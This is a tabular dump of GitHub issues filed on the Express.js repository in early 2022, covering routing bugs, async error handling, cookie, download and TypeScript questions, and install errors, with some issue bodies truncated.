  ""dependencies"": {
    ""@apollo/client"": ""^3.5.10"",
    ""@shopify/app-bridge"": ""^2.0.22"",
    ""@shopify/app-bridge-react"": ""^... [TRUNCATED]",awaiting more info,2022-04-21T14:08:39Z,2022-04-27T23:58:16Z,3
expressjs/express,1209944514,I want to contribute to Express.JS development with a library,"Hi, I want to contribute with a library called [recursive-routing](https://github.com/RobotoSkunk/recursive-routing). This library sets up an entire routing from a directory just calling one function.

This project it's inspired by another called `express-recursive-routes`, but with more options, more freedom and without using deprecated JavaScript features.",,2022-04-20T16:43:45Z,2022-04-20T16:45:14Z,0
expressjs/express,1206791972,ExpressJS 5 - Promise returned in function argument where a void return was expected.,"I am trying to use async and await in Typescript with ExpressJS 5 beta 1 and getting the following error:

`Promise returned in function argument where a void return was expected.eslint[@typescript-eslint/no-misused-promises](https://typescript-eslint.io/rules/no-misused-promises)`

I had anticipated this would no longer be the case in ExpressJS 5, as noted by the ESLint maintainers: https://github.com/standard/eslint-config-standard-with-typescript/issues/613

Have I missed something, or is this still not handled in Express 5?

```
function testFunction() {
  return new Promise((resolve) => {
    setTimeout(() => {
      resolve('test')
    }, 1000)
  })
}

router.get('/v1/sdk/device', async (_req, res) => {
  const test = await testFunction()
  console.log(test)
  res.send()
})
```

<img width=""982"" alt=""Screenshot 2022-04-18 at 09 05 50"" src=""https://user-images.githubusercontent.com/64841595/163777628-dd5d3896-e6ad-4214-ac8a-b07cc0ffc6c1.png"">

","5.x,question",2022-04-18T08:02:59Z,2022-04-18T14:00:57Z,5
expressjs/express,1197541438,Error: Route.get() requires a callback function but got a [object Undefined],"I am using typescript in my project and when I develop with nodemon I get the following error:
```console
Error: Route.get() requires a callback function but got a [object Undefined]
    at Route.<computed> [as get] (M:\repos\web\api-rest\node_modules\express\lib\router\route.js:202:15)
    at Function.proto.<computed> [as get] (M:\repos\web\api-rest\node_modules\express\lib\router\index.js:516:19)                                                                               :202:15)
    at Object.<anonymous> (M:\repos\web\api-rest\src\routes\users.ts:11:8)                      \index.js:516:19)
    at Module._compile (node:internal/modules/cjs/loader:1101:14)
    at Module.m._compile (M:\repos\web\api-rest\node_modules\ts-node\src\index.ts:1455:23)      
    at Module._extensions..js (node:internal/modules/cjs/loader:1153:10)
    at Object.require.extensions.<computed> [as .ts] (M:\repos\web\api-rest\node_modules\ts-node\src\index.ts:1458:12)                                                                          \src\index.ts:1458:12)
    at Module.load (node:internal/modules/cjs/loader:981:32)
    at Function.Module._load (node:internal/modules/cjs/loader:822:12)
    at Module.require (node:internal/modules/cjs/loader:1005:19)
```
but when I compile it with ""tsc"" and executor normally with node it works correctly
Below is the code I am using:
```typescript
//controllers/users.ts

import users from './users.json'
import type { Request, Response } from '... [TRUNCATED]",,2022-04-08T16:40:43Z,2022-04-08T16:45:09Z,4
expressjs/express,1197009807,Router test runs into timeout issues on slow aarch64 hardware,"We encounter a ""Timeout of 2000ms exceeded"" error on a rather low-powered `aarch64` device when running `npm run test-ci`:

    Router
    ✔ should return a function with router methods
    ✔ should support .use of other routers (38ms)
    ✔ should support dynamic routes
    ✔ should handle blank URL
    ✔ should handle missing URL
    1) should not stack overflow with many registered routes
    
    17 passing (5s)
    1 failing
    
      1) Router
           should not stack overflow with many registered routes:
         Error: Timeout of 2000ms exceeded. For async tests and hooks, ensure ""done()"" is called; if returning a Promise, ensure it resolves. (/opt/express/test/Router.js)
          at /opt/express/test/Router.js:73:11
          at Layer.handle [as handle_request] (lib/router/layer.js:35:103)
          at next (lib/router/route.js:36:802)
          at Route.dispatch (lib/router/route.js:34:677)
          at Layer.handle [as handle_request] (lib/router/layer.js:35:103)
          at /opt/express/lib/router/index.js:82:415
          at Function.process_params (lib/router/index.js:93:170)
          at next (lib/router/index.js:82:31)
          at Function.handle (lib/router/index.js:67:194)
          at Context.<anonymous> (test/Router.js:76:12)
          at processImmediate (node:internal/timers:464:21)

## Reproducer

I run this on an emulated `aarch64` VM on my x86_64 laptop. The issue occurs on one of our hardware aarch64 workers

  ... [TRUNCATED]",tests,2022-04-08T08:30:12Z,2022-04-27T23:36:09Z,1
expressjs/express,1190946627,The router restore function can incorrectly set variables to undefined,"I found a case where `request.params` becomes undefined. Here is a concrete test case to reproduce the case:

```javascript
// test/app.router.js

it('should have req.params in finish event after handler2 calls next', function(done){
  var app = express();

  function handler1(req, res, next) {
    res.once('finish', function() {
      setTimeout(function() {
        assert(req.params.id);
      })
    })

    next()
  }

  function handler2(req, res, next){
    res.end(req.params.id);
    next()
  }

  app.get('/user/:id', handler1, handler2);

  request(app)
  .get('/user/1')
  .expect(200, '1', done);
})
```

The test runs fine if there is no `next` call in `handler2`. The `setTimeout` in `handler1` ensures that the test fails.

As I understand it, the last `next` will cause the function `done` to be called in the router:

```javascript
// lib/router/index.js

// no more matching layers
if (idx >= stack.length) {
    setImmediate(done, layerError);
    return;
}
```

The problem is that `done` is not working correctly in this case. If there are middlewares and no router the `done` function will replace `baseUrl`, `next`, and `params` with the value `undefined`.

```javascript
// lib/router/index.js

// restore vals
for (var i = 0; i < props.length; i++) {
    obj[props[i]] = vals[i];
}
```

Hence the `setTimeout` in the `handler1`. Without a timeout, the `handler1` function mostly finishes successfully before `done` i... [TRUNCATED]","question,module:router",2022-04-03T14:26:13Z,2022-04-03T16:13:04Z,4
expressjs/express,1185274527,Weird req.query behavior,"Hi! I recently encountered an interesting case of how query string shows up in `req.query` in my logs.

Normal call: `https://some-api.com/?tags=tag1,tag2,tag3`

```
{
  tags: ""tag1,tag2,tag3""
}
```


Weird/potentially dangerous: `https://some-api.com/?tags=tag1,tag2,tag3&tags[i]=tag4` <- notice this `tags[i]=<value>`

Here's how the req.query looks like:
```
{
  tags: [""tag1"", ""tag2"", ""tag3"", { i: ""tag"" }]
}
```

I would expect `tags` to be a string just like in normal call.
It shouldn't suddenly turn to an array with strings and an object at the end.",question,2022-03-29T18:48:20Z,2022-03-29T18:52:35Z,2
expressjs/express,1185194731,Augment file before sending with .sendFile,"Is there a way to intercept and augment the file being sent with `res.sendFile()`? I'd like to use `.sendFile` over just using `.send` because I have a dual server-based / react application, and I use the `root` option to toggle between.","discuss,question",2022-03-29T17:33:28Z,2022-05-10T15:54:17Z,2
expressjs/express,1182384138,Iget double slashes.,"When i go to my site api.kimane.se/login i get ""Cannot get //login"" so the express app has appended one slash at the beggining of the path.","discuss,question",2022-03-27T06:36:09Z,2022-04-03T16:25:43Z,10
expressjs/express,1182193888,Request triager role for ghousemohamed,"Hi folks,

I've been using express in many clients as well as side projects. But I've never understood fully well
the internals of it all. I've been browsing the code for well over a week now trying to understand it, and
I'm really interested in getting my hands dirty trying to understand how it's all built and would love to
contribute. I've been actively contributing to Ruby on Rails, and have just now begun to go through the
Phoenix framework. As an extension of my efforts, I would also like to find out how I can contribute to express.

1. [My RoR contributions](https://github.com/rails/rails/pulls?page=1&q=author%3Aghousemohamed)
2. [My Phoenix contributions](https://github.com/phoenixframework/phoenix/pulls/ghousemohamed)

- [x] I have read and understood the project's Code of Conduct.
- [x] I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

- [x] jshttp
- [x] pillarjs
- [x] express",discuss,2022-03-27T00:12:48Z,2022-04-03T00:17:42Z,1
expressjs/express,1173866719,Allow default value for express.json(),"In v4.17.3 `request.body` falls back to an empty object in case no request body was provided. This is not helpful when trying to validate the request body, as I have no idea if the user actually sent `{}`, or no response was sent at all, and the body parser decided to make it an empty object.

I'd suggest allowing:

```js
app.use(express.json({ default: undefined }))
```

Or something similar, that would allow overwriting the no response body behaviour in a backward compatible way.",module:body-parser,2022-03-18T18:00:52Z,2022-03-18T18:03:27Z,3
expressjs/express,1170536601,Questions: Express next() parameter in a function,"When i built auth app

My middlewares:
- protected (for check token)
- controllers (to validate body data and interact with services)
- exceptions (sent error status to client if internal error thrown)

when i use `next(id)` on protected middleware it throws and error and skip controllers. 
It goes to exceptions middleware (skip the controllers). In my case i need pass id to the expected contollers but it gives error.

and work excatly as expected, when i change my code to
```js
try{
    const {id} = await verifyToken()
    req.id = id
    next()
}catch(error){
    next(error)
}
```

My question:
if i pass a parameter to next() interface, does it redirect to express internal error handler? even if i dont use try-catch statements",question,2022-03-16T04:45:30Z,2022-03-16T04:50:38Z,5
expressjs/express,1167650488,"RFC: drop mutation of IncomingMessage owned fields, write only to new, augmented fields","# Problem

`express` mutates `req.url`, and saves the un-mutated version onto `originalUrl`, making URL driven _generic_ middleware hard to design.

Ref: https://github.com/chimurai/http-proxy-middleware/pull/723

Apologies if this topic has already been discussed, I did execute a cursory search and didn't see it, but I miss things time to time.

# Context

`http.IncomingMessage` is the `http` module's owned memory, and thus could be considered memory not open for writing. The writing to this memory prevents me from fixing problematic typescript issues in `http-proxy-middleware`. To make `http-proxy-middleware` generic is to decouple it from all frameworks that it supports--express, connect, raw http, koa, fastify, ...the works!

However, because express mutates req.url, I cannot trust `http.IncomingMessage::url`, and either have to:

1. burden users with passing to HPM the same prefix they  use in `app.use(prefix, ...)`, then additionally track that prefix internally to the HPM lib, or
2. have `express` conditionals within HPM that sniff specifically for indicators of this framework, and use alternate logic.
    1. this is the current state of http-proxy-middleware, but to make it play nicely with other server providers, we're now trying to avoid this

# Solutions

1. write to new, owned memory only:

```js
// GET /api/foo/bar
req.url // untouched, /api/foo/bar

app.use('/api', ...)
req.express.url // /foo/bar
req.express.base // /api
```

2. d... [TRUNCATED]",question,2022-03-13T18:00:02Z,2022-03-13T18:19:11Z,5
expressjs/express,1162831138,`res.clearCookie()` does not ignore `maxAge`,"Hi everyone!
I just ran into a bug, where `res.clearCookie()` does not work properly.

## What happen?
According to the typescript definitions, `res.clearCookie()` accepts `CookieOptions` as a second parameter (see [here](https://github.com/DefinitelyTyped/DefinitelyTyped/blob/23e0b071471f0120d7c03c5abf206f41e832133b/types/express-serve-static-core/index.d.ts#L920)) which includes the `maxAge` attribute. But if the `maxAge` is set, the cookie won't be deleted.

## What do I expect?
`.clearCookie()`should ignore (or delete) the `maxAge` attribute, because it is used to calculate the `expire` attribute afterwards in `.cookie()`;

## Research
I already located the bug and would like to provide a pr to fix this.
",5.x,2022-03-08T15:58:58Z,2025-03-19T01:56:24Z,9
expressjs/express,1160754069,Question about v5 supporting old Node versions,"Mostly/Probably a silly question regarding Node support, *but why keep maintaining old node versions?*

AFAIK by dropping the old versions of Node and setting a somewhat newer version like v8 at least would not only take advantage of new features but also allow the framework to reduce a considerable amount of code.

V5 will still require the same good old **Node.js 4+** from 2015 and that's the piece I don't process.

As the V5 would be a major release, wouldn't be a good idea to detach that old support in favor of a cleaner code that could potentially make Express faster?

That was something I've been thinking over the past days while testing the V5, I definitely know it's nice to give support for old versions, but I guess it should be a limit of how much should be sacrificed in favor of it.

Anywho, I know for a fact this won't happen soon, but it might be something nice to have in mind on following discussions across the community.

**Side note here:** My company mostly sticks on the LTS version, and we've upgraded the last services from Node v12 to v16 last year which gave us a nice performance increase overall. I'm wondering how fast Express would be by dropping support to old versions.

Cheers 👋 
",question,2022-03-06T23:56:20Z,2022-03-06T23:59:41Z,1
expressjs/express,1156873459,express still need “view engines”？,"Most people on my side use express just for api server。

So, why not remove “view engines” out as a middleware like a single npm package？",question,2022-03-02T09:19:50Z,2022-03-25T04:10:48Z,2
expressjs/express,1155377581,Question about typescript,Is it safe to use @types/express? the last package has been update in 2021. There's another way to use express with ESM?,question,2022-03-01T14:02:48Z,2022-03-13T19:05:09Z,2
expressjs/express,1153804954,Wildcards don't work anymore in v5,"Hi,
I'm using express to serve an Angular app. This has a few files which need to be served statically (`index.html`, some css, js and images) and then has its own routing which means that all other URLs need to serve the `index.html`.

In Express 4 I was able to do this:
```TypeScript
app.use(""/"", express.static(""/app/dist/frontend"", {dotfiles: ""allow""}));
app.use(""*"", express.static(""/app/dist/frontend/index.html"", {dotfiles: ""allow""}));
```

However, in Express 5 it always returns 404 for `/myCustomRoute`...
Here are the logs (`debug=*`):
```
  body-parser:json skip empty body +13s
  send stat ""A:\app\dist\frontend\myCustomRoute"" +13s
  finalhandler default 404 +2ms
```

It doesn't help to set `fallthrough: true`...

I'd really like to contribute a fix if you can point me in the right direction. We really need Express 5 because of its improved error handling with promises.","5.x,question,module:router",2022-02-28T08:37:52Z,2022-02-28T10:41:26Z,11
expressjs/express,1148032079,"Error when running Express App: ""Primordials not defined""","I am having this weird issue running my Express app after the project is built using Rollup.

```
Error: Command failed: node /path/to/project/dist/index.js
fs.js:45
} = primordials;
    ^

ReferenceError: primordials is not defined
```
I wasn't really sure where this was coming from. After reviewing the dependency tree, I noticed that there was an express-handlebars Packsge that dependent on graceful-fs, which depends on the primordials Packsge in question,

How would I fix this issue?",question,2022-02-23T12:29:47Z,2022-02-23T15:00:47Z,2
expressjs/express,1146341077,Express router ignores strict option and incorrectly reports req.baseUrl,"Using this setup:
```javascript
app.set(""strict routing"", true);

let router_x = express.Router({strict: true});

router_x.use(""/j/1"", index_get);
router_x.use(""/j"", index_get);
router_x.use(not_found);

app.use(""/x"", router_x);

app.get(""/a/1"", index_get);
app.get(""/a"", index_get);
app.get(""/"", index_get);
app.use(not_found);
```
and requesting `/x/j/1`, reports `req.baseUrl` as `/x/j/1` and `req.path` as `/`. I expect the base URL reported as the mount point for the router instance, which is `/x` in this case, but instead it just uses the current route as the base URL. 

Moreover, the router is configured with `strict: true`, but it accepts any additional path segments. For example, I can request `/x/j/3/2/1` and it will report `req.baseUrl` as `/x/j` and `req.path` as `/3/2/1`.

The same logic against the application router in the example above works as expected, so requesting `/a/` and `/a/1/` both return `404` and `/a` and `/a/1` both work properly.

I found this issue about the strict option not being respected if a router is configured with the `/` path, but this is not the case here, so it seems to be a different issue. 

https://github.com/expressjs/express/issues/2281

Here's a more complete sample that shows strict routing working properly at the application level and two routers, one with strict routing and one without, both working the same way.

[express-route-opts-bug.zip](https://github.com/expressjs/express/files/8112824/express-r... [TRUNCATED]",question,2022-02-22T00:53:45Z,2022-02-22T00:58:56Z,9
expressjs/express,1146293240,how to render conditional templates in res.render(),"Hi everyone, I'm a student in web development, I built a web application, where I tried to implement in one of the route handler function a way to render 2 templates whenever its condition is fulfilled, but I didn't figure out how to reach my goal, so I tried like below, but it didn't work:
```js
exports.myBookedTravels = catchAsyncHandler( async(req, res, next) => {
  // find all booked travels based on user id
  const bookedTravels = await Booking.find({ user: req.user.id });

  // find all travels that includes the above id (bookedTravels)
  const travelsIds = bookedTravels.map(item => item.travel);
  const travels = await Travel.find({ _id: { $in: travelsIds } });

  // Render the page that contains the booked travels || an empty page with a simple text
  if (!bookedTravels) res.render('nobooking')
  else {
    res.status(200).render('overview', {
      title: 'My travels',
      travels
    });
  }
});
```
Sorry, I'm a beginner and I try to find an adequate solution to my case but I didn't, and I'll appreciate your suggestions",,2022-02-21T23:03:34Z,2022-02-21T23:06:18Z,0
expressjs/express,1145890668,res.download building a wrong path when root options is set,"Hello everyone!

I just ran into a bug in `res.download` which is also an inconsistency between `res.download` and `res.sendFile`. 

## The bug

`res.download` breaks for relative paths when specifying a root in the options argument. Express tries to access the following path: `{options.root}/{process.cwd()}/{path}`. Expected is `{options.root}/{path}`


## Example

In the example below I try to access the file `/dev/null`. The following Error is raised when navigating to `/download` 

```
Error: ENOENT: no such file or directory, stat '/dev/home/user/my-project/null'
```


```js
const express = require('express')                                                                            
                                                                                                              
const app = express()                                                                                         
  .get('/', (req, res) => {                                                                                   
    res.send(`                                                                                                
<ul>                                                                                                          
  <li><a href=""/sendFile"">res.sendFile</a></li>                                                               
  <li><a href=""/download"">res.download</a></li>                                                               ... [TRUNCATED]","bug,enhancement",2022-02-21T14:44:07Z,2022-04-24T22:48:05Z,7
expressjs/express,1145881941,Middleware on app.use that will only get called on '/'?,"So I'm serving a web page on the root route '/', and this page had an authentication middleware. Using regular 

`app.use('/', authorizeFront, express.static('../client/dist'));`

would cause every route to be authenticated, which is what I'm trying to avoid. I've also tried using regex to match exactly '/' but it doesn't seem to be working.

`app.use('/^/$/', authorizeFront, express.static('../client/dist'));`

Is there any official way to do this? Thanks!",question,2022-02-21T14:36:10Z,2022-03-25T04:10:39Z,1
expressjs/express,1145167815,Unable to serve base64 pngs,"I'm trying to serve a dynamically generated png file, but seem to be missing something.  The data appears to be sent, but the browser (Chrome) just renders a broken image icon.

```
const express = require('express');
const app = express();
const port = 3000;

app.get('/', function(req, res) {
  res.send(`<img src=""/png/""/>`);
});

app.get(""/png/"", function(req, res) {
  console.log(""request img"");
  const img = ""iVBORw0KGgoAAAANSUhEUgAAANwAAADcCAYAAAAbWs+BAAAGwElEQVR4Ae3cwZFbNxBFUY5rkrDTmKAUk5QT03Aa44U22KC7NHptw+DRikVAXf8fzC3u8Hj4R4AAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAgZzAW26USQT+e4HPx+Mz+RRvj0e0kT+SD2cWAQK1gOBqH6sEogKCi3IaRqAWEFztY5VAVEBwUU7DCNQCgqt9rBKICgguymkYgVpAcLWPVQJRAcFFOQ0jUAsIrvaxSiAqILgop2EEagHB1T5WCUQFBBflNIxALSC42scqgaiA4KKchhGoBQRX+1glEBUQXJTTMAK1gOBqH6sEogKCi3IaRqAWeK+Xb1z9iN558fHxcSPS9p2ezx/ROz4e4TtIHt+3j/61hW9f+2+7/+UXbifjewIDAoIbQDWSwE5AcDsZ3xMYEBDcAKqRBHYCgtvJ+J7AgIDgBlCNJLATENxOxvcEBgQEN4BqJIGdgOB2Mr4nMCAguAFUIwnsBAS3k/E9gQEBwQ2gGklgJyC4nYzvCQwICG4A1UgCOwHB7WR8T2BAQHADqEYS2AkIbifjewIDAoIbQDWSwE5AcDsZ3xMYEEjfTzHwiK91B8npd6Q8n8/oGQ/ckRJ9vvQwv3BpUfMIFAKCK3AsEUgLCC4tah6BQkBwBY4lAmkBwaVFzSNQCAiuwLFEIC0guLSoeQQKAcEVOJYIpAUElxY1j0AhILgCxxKBtIDg0qLmESgEBFfgWCKQFhBcWtQ8AoWA4AocSwTSAoJLi5pHoBAQXIFjiUBaQHBpUfMIFAKCK3AsEUgLCC4tah6BQmDgTpPsHSTFs39p6fQ7Q770UsV/Ov19X+2OFL9wxR+rJQJpAcGlRc0jUAgIrsCxRCAtILi0qHkECgHBFTiWCKQFBJcWNY9AISC4AscSgbSA4NKi5hEoBARX4FgikBYQXFrUPAKFgOAKHEsE0gKCS4uaR6AQEFyBY4lAWk... [TRUNCATED]",,2022-02-20T23:33:39Z,2022-02-20T23:37:05Z,4
expressjs/express,1145089712,5.x typescript,Would there a PR porting the codebase to typescript for 5.x be well received?,,2022-02-20T17:53:00Z,2022-02-20T17:55:29Z,1
expressjs/express,1141519577,Handle async error by default,"Right now, the following code will crash and stops the whole server:

```
const someAsyncFunc = async () => { throw new Error() }

app.get('/', async (req, res, next) => {
  await someAsyncFunc();
});
```

I believe this is not desirable for 99% of the developers.

From [official doc on error handling](https://expressjs.com/en/guide/error-handling.html):

> For errors returned from asynchronous functions invoked by route handlers and middleware, **you must pass them to the next() function**, where Express will catch and process them.

Basically developers have to repeat this in all async handlers:

```
app.get('/', async (req, res, next) => {
  try {
    await someAsyncFunc();
  } catch (err) {
    next(err);
  }
});
```

To prevent repeating the code, the best I can do is to use [express-async-handler](https://github.com/Abazhenov/express-async-handler), which is basically a wrapper to do the above:

```
const asyncHandler = require('express-async-handler');

app.get('/', asyncHandler(async (req, res, next) => {
  await someAsyncFunc();
}));
```

In synchronous handler, exceptions are already auto-handled by Express. Is there any reason we do not do the same in async case? Why ask user to explicitly do this repeatedly themselves?

If there is no specific reason, I would suggest auto-handling async exception as a feature request.",,2022-02-17T15:51:09Z,2022-02-17T15:58:43Z,1
expressjs/express,1140874647,how Port multiplexing with node express？,"how Port multiplexing with node express？

I want to use one port for web netcat and express  web app

","discuss,question",2022-02-17T04:50:59Z,2022-02-17T15:48:38Z,1
expressjs/express,1140803041,"void' is not assignable to type 'Send<any, Response<any, Record<string, any>>>","I am working on some middleware that caches responses and coding in Typescript. My `res.send` line however, reports an error in Visual Studio.

```
Type '(body: any) => void' is not assignable to type 'Send<any, Response<any, Record<string, any>>>'.
  Type 'void' is not assignable to type 'Response<any, Record<string, any>>'.ts(2322)
```

If I add a return statement to the code, the error goes away (`return body`). But then this piece of code runs twice (if I put console.log('test') in there, I see the message twice and subsequently it is caching items twice), once for the return statement and once for `res.sendResponse(body)` it seems. 

The basic idea of this piece comes from here in JS: https://medium.com/the-node-js-collection/simple-server-side-cache-for-express-js-with-node-js-45ff296ca0f0

```
        res.sendResponse = res.send
        res.send = (body) => {
          res.sendResponse(body)
          if (req.method === 'GET') {
            // Only use cache on GET requests. When not GET, this middleware only acts as a queue.
            requestCache.push({
              cachedData: body, // Add the new item to the permanent cache
              queueName: req.url, // Add the request URL to the item for later reference
              runtime: new Date().getTime() // Add the time the request was made
            })
          }
        }
```

",question,2022-02-17T02:36:42Z,2022-02-17T02:40:10Z,7
expressjs/express,1140293545,[feature request] disable decode_param for path routing,"I have some special urls thats get mapped to local files like image50%.png.

```
app.get('/open/:path(*)', (req, res) => {})
```

But it doesn't work because express automaticly calls decode_param.
It throws `Failed to decode param`.","question,module:router",2022-02-16T16:41:08Z,2024-08-23T09:01:42Z,7
expressjs/express,1140074038,HTTP HEAD request giving ERR_STREAM_WRITE_AFTER_END error with node express 4.x,"I have a health check route for my application which we use to check the application's health, it's a ```GET``` route but clients send ```HTTP HEAD``` call to the same route but I am getting ```ERR_STREAM_WRITE_AFTER_END``` error. When digging into that I found out whenever I try to send response data for type ```HEAD``` call this error comes but couldn't find the actual reason for the same. Can someone explain why it's behaving this way? The sample code is given below.

Code with error, it's giving error even with ```res.json``` and ```res.send```

````
router.get('/health', function (req, res) {
    res.send({
        message: ""working great!!!""
    });
    res.end();
});
````",help wanted,2022-02-16T14:12:03Z,2022-03-27T06:10:21Z,8
expressjs/express,1136316482,Needs to has a better static,Express is nice and I use it most on my projects but it need to get rid of making static file in roughts I dont want to make a folder for every html file. ,awaiting more info,2022-02-13T19:16:06Z,2022-03-13T19:05:36Z,2
expressjs/express,1128471221,TypeError: callSite.getFileName is not a function,"Tried changing node version to 10,12,14. No luck.",awaiting more info,2022-02-09T12:21:20Z,2022-03-13T19:06:04Z,4
expressjs/express,1127799858,No default jsDelivr CDN file set,"[This package](https://www.jsdelivr.com/package/npm/express) doesn't have a [default file](https://www.jsdelivr.com/features#publishing-packages) set. You can set it via `jsdelivr`, `browser`, or `main` field in `package.json`",question,2022-02-08T21:56:58Z,2022-02-08T22:06:13Z,2
expressjs/express,1124940400,npm ERR! syscall rename,"```js
~ $ npm install express --save
npm ERR! code ENOTEMPTY
npm ERR! syscall rename
npm ERR! path /data/data/com.termux/files/home/node_modules/ansi-styles
npm ERR! dest /data/data/com.termux/files/home/node_modules/.ansi-styles-RPQb6dFf
npm ERR! errno -39
npm ERR! ENOTEMPTY: directory not empty, rename '/data/data/com.termux/files/home/node_modules/ansi-styles' -> '/data/data/com.termux/files/home/node_modules/.ansi-styles-RPQb6dFf'

npm ERR! A complete log of this run can be found in:
npm ERR!     /data/data/com.termux/files/home/.npm/_logs/2022-02-05T14_08_26_599Z-debug-0.log
```",,2022-02-05T14:11:56Z,2022-02-05T18:45:08Z,1
expressjs/express,1124932368, Unable to send a 404 error using Node.js with express #40 ,"Using VS Code, WIN10, express@4.17.2 , Node v16.13.1, NPM 8.1.2 and Simple Rest Client v1.4.2

I am learning therefore I do not know if this is a Node or Express issue.
['object object ]' is returned in the response instead of the expected status code and message

The error line --> return res.status(404).send({message: 'user does not exist'});
also tried --> return res.status(404).json({message: 'user does not exist'});

Images of found (good) and not found (bad) posted on postimage.org https://postimg.cc/gallery/z855xh2

The complete function where the error occurs.
```js
router.get('/accounts/:user', (req, res) => {
const user = req.params.user;
console.log('at ' + user);
const account = db[user];
if (!account) {
console.log('about to send 404 response');
  return res.status(404).send({message: 'user does not exist'});
}
return res.json(account);
});
```",question,2022-02-05T13:34:07Z,2022-02-15T17:07:34Z,7
expressjs/express,1124640190,feat: Ignore folders created by ideas,"Just update the .gitignore file so it doesn't see unnecessary folders.

![Screenshot_20220204_181555](https://user-images.githubusercontent.com/13888035/152604151-2df0a04e-eef3-4eef-a466-77dd62c13d94.png)",,2022-02-04T21:42:14Z,2022-02-04T21:43:41Z,1
expressjs/express,1124416696,EADDRINUSE code in express,"
```js
// using nodejs we can write code to retry to listen on port using
const server = http.createServer().listen(3000);
server.on('error',function(err) {
    if (err.code === 'EADDRINUSE') {
        console.log('Address in use, retrying...');
        setTimeout(() => {
            server.close();
            server.listen(3000, 'localhost');
        }, 1000);
    }
});
```
how to do this same thing in express 
```js
const app = require('express')();
app.on('err',function(err) {
console.log('error occured'); // this doesnt work
});
```",question,2022-02-04T16:59:02Z,2022-02-04T17:02:22Z,4
expressjs/express,1124140542,[suggestion] send/respond with blob,"NodeJS now has support for Blob's globally, 
...earlier you had to load it from `require('buffer').Blob`

it would be cool / awesome if it where possible to respond with a Blob by doing something like

```js
const str = `<h1>Hello World</h1>`
const blob = new Blob([str], { type: 'text/html' })
const file = new File([blob], 'index.html', { type: 'text/html' })

app.get('/', (req, res) => {
  res.send(blob) // or:
  res.download(blob, 'name.html')
  res.download(file) // name taken from file instead
})
```

Doing this would take care of 
1. Setting the response header `content-type` to the blob's type (only if content-type haven't been set manually)
2. Setting the response header `content-length` to the blob's size
3. and pipe the data from `blob.stream()` to the response
4. if you used `res.download(blob)` then it would also add content-disposition attachment header

<s>it's also looking like if node will at some point add a way of getting blobs from the filesystem also, but i don't know when.
ref: https://github.com/nodejs/node/issues/39015</s>

edit: NodeJS just shipped `fs.openAsBlob(path, { type })` in v20+
",ideas,2022-02-04T12:17:45Z,2025-01-20T16:16:45Z,10
expressjs/express,1123651818,Having 'index.html' file in root directory of static assets causes weird behaviors,"```
app.js
frontend/
    index.html
    home.html
````
Suppose I have the above file structure in my project, and the following code in app.js.
```
const morgan = require('morgan');
const express = require('express');

const app = express();
app.use(express.static('frontend'));
app.use(morgan('dev'));

app.listen(3000, () => {
    console.log('Server listeing at 3000');
});

```
Clearly, there's not a single HTTP request handling in app.js. But if you type `http://localhost:3000` in your browser, it automatically loads the index.html page for you, without logging any HTTP request. It should have displayed `Cannot GET /`, but it doesn't.
If you rename the `index.html` to any other name, say `login.html`, then going to `http://localhost:3000` displays the message `Cannot GET /`, which is as expected.",question,2022-02-03T23:19:29Z,2022-02-03T23:23:35Z,3
expressjs/express,1122531007,Settings includes values on Object.prototype,"App settings pull from `Object.prototype` if they're missing on the `settings` object.

```js
const app = require('express')();

app.get('hasOwnProperty');
// => [Function: hasOwnProperty]

app.enabled('hasOwnProperty');
// => true
```

Is this intentional? If not, I'm happy to help fix.",enhancement,2022-02-03T00:39:16Z,2022-04-24T22:48:05Z,7
expressjs/express,1120640585,Route paths do only prefix matching - unable to add $ to last route param (to mark end of route),"For example if you have a route like:
`/app/:param1`
This route is matched not only by `/app/[value]`, but also by `/app/[value]/any/long/trailing/stuff/that/should/not/be/part/of/route`.
I tried to explicitly tell express, that the route should end with param1 without any trailing parameters (or slashes)  by modifying the route like this: `/app/:param1$`, but it looks like this is not possible.
At least in an TypeScript environment Typescript interprets the `$` as a part of the route parameter name (thus the parameter is expected to be accessed via `req.params.param1$` instead of `req.params.param1`).

`express` version:  4.17.2
`@types/express` version: 4.17.13",,2022-02-01T12:59:09Z,2022-02-01T13:14:00Z,6
expressjs/express,1119021899,Chrome is not set my cookies on Frontend (ReactJs) which is come from Backend (ExpressJs) application.,"Is there anyone please tell me why my chrome is not setting my cookie on the client-side ?? I try many times to see all possible solutions but still got the same issue in chrome(client site).

**My DevTool Header.** **why both table is not matched ????**
![cose1](https://user-images.githubusercontent.com/35251956/151747180-f771c485-90e5-48e6-9499-1367c7504db2.png)

**Chrome Issue says**
![cose2](https://user-images.githubusercontent.com/35251956/151747210-d89f4cb4-c9ee-4d60-8178-00a8942e613d.png)

**Response Headers**
![cose3](https://user-images.githubusercontent.com/35251956/151747259-2c078875-20f8-48ca-bcfb-ecd13796200f.png)

**Request Headers**
![cose4](https://user-images.githubusercontent.com/35251956/151747269-2e065354-4cb4-4518-b88f-a77c3029faf7.png)

**Cors Setting in Express Backend**
![cose5](https://user-images.githubusercontent.com/35251956/151747282-e25dde8c-9fed-4c5e-b121-8a16804b0530.png)

**Cookie config in Express Backend**
![cose6](https://user-images.githubusercontent.com/35251956/151747301-3f737346-1401-4775-a97d-e63d73b8e76c.png)

**Axios Call in Frontend**
![cose7](https://user-images.githubusercontent.com/35251956/151747334-ac2c7aa7-42e3-494d-9169-4d0447f1ea0a.png)

**Frontend Dependencies**
![cose8](https://user-images.githubusercontent.com/35251956/151747492-58bbcabd-4d0e-4548-8f04-cd1172c45d44.png)

**Backend Dependencies**
![cose9](https://user-images.githubusercontent.com/35251956/151747500-295d38a3-3d5a-42a7-ab88-4461fb... [TRUNCATED]","help wanted,question",2022-01-31T06:17:47Z,2022-02-22T04:37:04Z,3
expressjs/express,1118248626,support for Babel 7 / ES6,"trying to use common module exports (export function test() {{) using express.js and Babel version 7, but transpiling using Babel caused errors pop up from express's dependencies.

Express's dependency bodyparser (indierect ) and depd (direct dependency)
```
index.js:252
  var file = callSite.getFileName() || '<anonymous>'
                      ^

TypeError: callSite.getFileName is not a function
```

```
  ""dependencies"": {
    ""@babel/cli"": ""^7.16.8"",
    ""@babel/node"": ""^7.16.8"",
    ""ejs"": ""^3.1.6"",
    ""express"": ""^4.17.1""
  },
  ""devDependencies"": {
    ""@babel/core"": ""^7.16.12"",
    ""@babel/preset-env"": ""^7.16.11"",
    ""nodemon"": ""^2.0.7""
  }
